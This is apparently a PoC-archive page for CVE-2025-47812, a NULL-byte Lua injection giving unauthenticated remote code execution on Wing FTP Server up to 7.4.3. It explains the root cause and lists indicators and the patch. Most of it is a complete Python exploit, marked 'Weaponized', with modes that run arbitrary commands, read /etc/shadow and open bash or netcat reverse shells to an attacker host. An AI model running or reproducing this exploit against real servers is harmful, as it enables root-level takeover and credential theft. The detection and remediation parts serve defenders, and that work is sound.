PoC Archive PoC Archive
Critical CVE-2025-47812 patched

Wing FTP Server NULL-Byte Lua Injection Unauthenticated RCE (CVE-2025-47812)

by 0xS4N4TG (this rewrite); original PoC by 4m3rr0r; vulnerability research by Julien (@MrTuxracer) · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-47812
Category
web
Affected product
Wing FTP Server, web administration/login interface (loginok.html, session mechanism)
Affected versions
<= 7.4.3 (fixed in 7.4.4)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcher0xS4N4TG (this rewrite); original PoC by 4m3rr0r; vulnerability research by Julien (@MrTuxracer)
CVE / AdvisoryCVE-2025-47812
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD)
StatusWeaponized
Tagswingftp, ftp-server, null-byte-injection, lua-injection, unauthenticated-rce, session-file, cwe-94, cwe-158, python
RelatedN/A

Affected Target

FieldValue
Software / SystemWing FTP Server, web administration/login interface (loginok.html, session mechanism)
Versions Affected<= 7.4.3 (fixed in 7.4.4)
Language / PlatformPython 3 (exploit); Lua session backend (target, executes as root/SYSTEM)
Authentication RequiredNo
Network Access RequiredYes

Summary

Wing FTP Server’s authentication routine c_CheckUser() truncates the supplied username at the first NULL byte (%00) when validating credentials, but the code path that subsequently writes the session file persists the full, unsanitized username — including anything after the NULL byte — into a Lua session file on disk. By submitting a username such as anonymous%00]]<lua-code>--, an attacker causes the truncated value to pass authentication as anonymous while the raw string (which closes the Lua string literal, injects arbitrary Lua, then comments out the remainder) is written verbatim into the session file. When any authenticated page (e.g. dir.html) is subsequently loaded, the server reads the session file via loadfile() and executes it as Lua code, running the attacker’s injected os.execute()/io.popen() calls as root (Linux) or SYSTEM (Windows). The included PoC (exploit.py) automates the NULL-byte injection login, triggers execution via dir.html, and supports vulnerability checking, blocking command execution, detached/backgrounded command execution, and one-shot bash reverse shell delivery.


Vulnerability Details

Root Cause

Authentication validation and session-file writing disagree on how they interpret a NULL byte in the username: c_CheckUser() stops reading at %00 and thus authenticates the truncated, benign-looking prefix (e.g. anonymous), but the routine that persists the login state writes the entire raw username (including everything after the NULL byte) into a per-session Lua file. Because that content is later loadfile()’d and executed as Lua rather than treated as inert data, an attacker can smuggle a Lua string-closing sequence and injected code past the NULL byte:

1
2
3
4
5
6
7
def _build_payload(self, lua_body):
    encoded_user = quote(self.username)
    encoded_pass = quote(self.password)
    encoded_lua = quote(lua_body, safe="")
    # %00 = NULL byte that splits c_CheckUser() vs session-write logic
    # ]] closes the original Lua string, then our code runs, then -- comments rest
    return f"username={encoded_user}%00]]%0d{encoded_lua}%0d--&password={encoded_pass}"

The injected Lua (e.g. local h=io.popen("(id) 2>&1") ... print(...)) is written into the session file and executed the moment the session is loaded by any subsequent authenticated request.

Attack Vector

  1. Attacker POSTs to loginok.html with username=anonymous%00]]<CR><injected Lua code><CR>-- and an empty/arbitrary password; c_CheckUser() authenticates the pre-NULL-byte prefix (anonymous) successfully and returns a UID session cookie.
  2. The full raw username, including the injected Lua past the NULL byte, is written unsanitized into that session’s Lua session file on disk.
  3. Attacker requests any authenticated endpoint (the PoC uses dir.html) while presenting the returned UID cookie; the server loads the session file with loadfile() and calls the resulting function f(), executing the injected Lua.
  4. Injected Lua uses io.popen() (for output capture, wrapped with ===START===/===END=== markers for reliable extraction) or os.execute() with setsid nohup ... & (for detached/backgrounded execution, e.g. reverse shells) to run arbitrary OS commands as root/SYSTEM.

Impact

Unauthenticated remote code execution as root (Linux) or SYSTEM (Windows) on the Wing FTP Server host, since the session-execution mechanism runs attacker-controlled Lua with full server privileges.


Environment / Lab Setup

Target:   Wing FTP Server <= 7.4.3, web UI reachable at http://<target>:5466 (HTTP) or :5467 (HTTPS)
Attacker: Python 3, `pip install requests`

Proof of Concept

PoC Script

See exploit.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
python3 exploit.py -u http://TARGET:5466/ check

python3 exploit.py -u http://TARGET:5466/ exec "id"
python3 exploit.py -u http://TARGET:5466/ exec "cat /etc/shadow"

nc -lvnp 4444
python3 exploit.py -u http://TARGET:5466/ shell ATTACKER_IP 4444

python3 exploit.py -u http://TARGET:5466/ detached \
  "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

Detection & Indicators of Compromise

Signs of compromise:

  • Login POST requests with usernames containing NULL bytes (%00) followed by Lua syntax such as ]]
  • Wing FTP server process spawning shell interpreters (sh, bash, cmd.exe) or nc/reverse-shell activity
  • Unexpected outbound connections from the FTP server host shortly after a dir.html request

Remediation

ActionDetail
Primary fixUpgrade Wing FTP Server to version 7.4.4 or later, which fixes the NULL-byte truncation mismatch between authentication and session-file writing
Interim mitigationRestrict network access to the Wing FTP web administration interface to trusted management networks, and monitor authentication requests for NULL bytes or Lua-syntax characters in credential fields

References


Notes

Mirrored from https://github.com/0xS4N4TG/CVE-2025-47812 on 2026-07-06. exploit.py implements the documented Wing FTP NULL-byte Lua-injection RCE with check and shell-delivery modes; this repo is an acknowledged rewrite of an earlier public PoC (4m3rr0r/CVE-2025-47812-poc), based on vulnerability research originally published by Julien (@MrTuxracer).

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#!/usr/bin/env python3
"""
CVE-2025-47812 — Wing FTP Server <= 7.4.3 unauth RCE
Cleaned up for reliable shell delivery.
"""

import argparse
import logging
import re
import sys
import time
from urllib.parse import quote, urljoin

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

log = logging.getLogger("wingftp-rce")


class WingFTPExploit:
    def __init__(self, target_url, username="anonymous", password="", timeout=10):
        self.base = target_url.rstrip("/") + "/"
        self.username = username
        self.password = password
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update(
            {
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) Firefox/139.0",
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                "Accept-Language": "en-US,en;q=0.5",
                "Connection": "keep-alive",
            }
        )
        self.session.cookies.set("client_lang", "english")
        self.uid = None

    def _build_payload(self, lua_body):
        """
        Wrap Lua body inside the NULL-byte injection.
        lua_body should be valid Lua — no leading/trailing comma or close-bracket.
        """
        encoded_user = quote(self.username)
        encoded_pass = quote(self.password)
        # %00 = NULL byte that splits c_CheckUser() vs session-write logic
        # ]] closes the original Lua string, then our code runs, then -- comments rest
        encoded_lua = quote(lua_body, safe="")
        return f"username={encoded_user}%00]]%0d{encoded_lua}%0d--&password={encoded_pass}"

    def _login(self, lua_body):
        """Send the injection POST and capture the UID cookie."""
        url = urljoin(self.base, "loginok.html")
        payload = self._build_payload(lua_body)
        log.debug("POST %s", url)
        log.debug("Lua: %s", lua_body)
        r = self.session.post(
            url,
            data=payload,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=self.timeout,
        )
        m = re.search(r"UID=([^;]+)", r.headers.get("Set-Cookie", ""))
        if not m:
            raise RuntimeError(
                f"No UID cookie returned — target probably not vulnerable (HTTP {r.status_code})"
            )
        self.uid = m.group(1)
        log.debug("UID=%s", self.uid)

    def _trigger(self):
        """Hit dir.html to execute the planted Lua."""
        url = urljoin(self.base, "dir.html")
        log.debug("GET %s", url)
        r = self.session.get(
            url,
            cookies={"UID": self.uid},
            timeout=self.timeout,
        )
        return r.text

    def _extract(self, body):
        """Pull text between our markers; falls back to pre-XML chunk."""
        m = re.search(r"===START===(.*?)===END===", body, re.DOTALL)
        if m:
            return m.group(1).strip()
        # No markers — return whatever came before the XML
        return re.split(r"<\?xml", body, maxsplit=1)[0].strip()

    def check(self):
        """Sanity check: run `id` and see if we got output."""
        lua = (
            'local h=io.popen("(id) 2>&1")\n'
            'local r=h:read("*a")\n'
            "h:close()\n"
            'print("===START==="..r.."===END===")'
        )
        self._login(lua)
        out = self._extract(self._trigger())
        if "uid=" in out:
            log.info("Target is vulnerable. id => %s", out)
            return True
        log.warning("No id output — target may not be vulnerable. Body: %r", out[:200])
        return False

    def exec_blocking(self, cmd):
        """Run cmd, capture stdout+stderr, return it. For quick non-interactive stuff."""
        # Escape double quotes in cmd for the Lua string
        safe = cmd.replace("\\", "\\\\").replace('"', '\\"')
        lua = (
            f'local h=io.popen("({safe}) 2>&1")\n'
            'local r=h:read("*a")\n'
            "h:close()\n"
            'print("===START==="..r.."===END===")'
        )
        self._login(lua)
        return self._extract(self._trigger())

    def exec_detached(self, cmd):
        """
        Fire-and-forget. Output redirected to /dev/null, process backgrounded
        with setsid + nohup so it survives the request returning.
        Use for reverse shells.
        """
        safe = cmd.replace("\\", "\\\\").replace('"', '\\"')
        wrapped = f"setsid nohup sh -c '{safe}' >/dev/null 2>&1 </dev/null &"
        lua = f'os.execute("{wrapped}")'
        self._login(lua)
        self._trigger()
        return True

    def revshell(self, lhost, lport):
        """Spawn a bash reverse shell to lhost:lport. Returns once launched."""
        cmd = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'
        log.info("Launching reverse shell -> %s:%s", lhost, lport)
        ok = self.exec_detached(cmd)
        if ok:
            log.info("Payload fired. Check your listener.")
        else:
            log.error("Trigger response didn't confirm launch — check manually.")
        return ok


def main():
    p = argparse.ArgumentParser(description="CVE-2025-47812 — Wing FTP RCE")
    p.add_argument(
        "-u",
        "--url",
        required=True,
        help="Target base URL, e.g. http://10.10.10.10:5466",
    )
    p.add_argument("-U", "--username", default="anonymous")
    p.add_argument("-P", "--password", default="")
    p.add_argument("-v", "--verbose", action="store_true")

    sub = p.add_subparsers(dest="mode", required=True)
    sub.add_parser("check", help="Verify vuln by running `id`")
    s_exec = sub.add_parser("exec", help="Run a single command and print output")
    s_exec.add_argument("command")
    s_shell = sub.add_parser("shell", help="Spawn bash reverse shell")
    s_shell.add_argument("lhost")
    s_shell.add_argument("lport", type=int)
    s_det = sub.add_parser("detached", help="Run any command detached (no output)")
    s_det.add_argument("command")

    args = p.parse_args()

    logging.basicConfig(
        level=logging.DEBUG if args.verbose else logging.INFO,
        format="[%(levelname)s] %(message)s",
    )

    ex = WingFTPExploit(args.url, args.username, args.password)

    try:
        if args.mode == "check":
            sys.exit(0 if ex.check() else 1)
        elif args.mode == "exec":
            out = ex.exec_blocking(args.command)
            print(out)
        elif args.mode == "shell":
            ex.revshell(args.lhost, args.lport)
        elif args.mode == "detached":
            ex.exec_detached(args.command)
    except Exception as e:
        log.error("%s", e)
        sys.exit(2)


if __name__ == "__main__":
    main()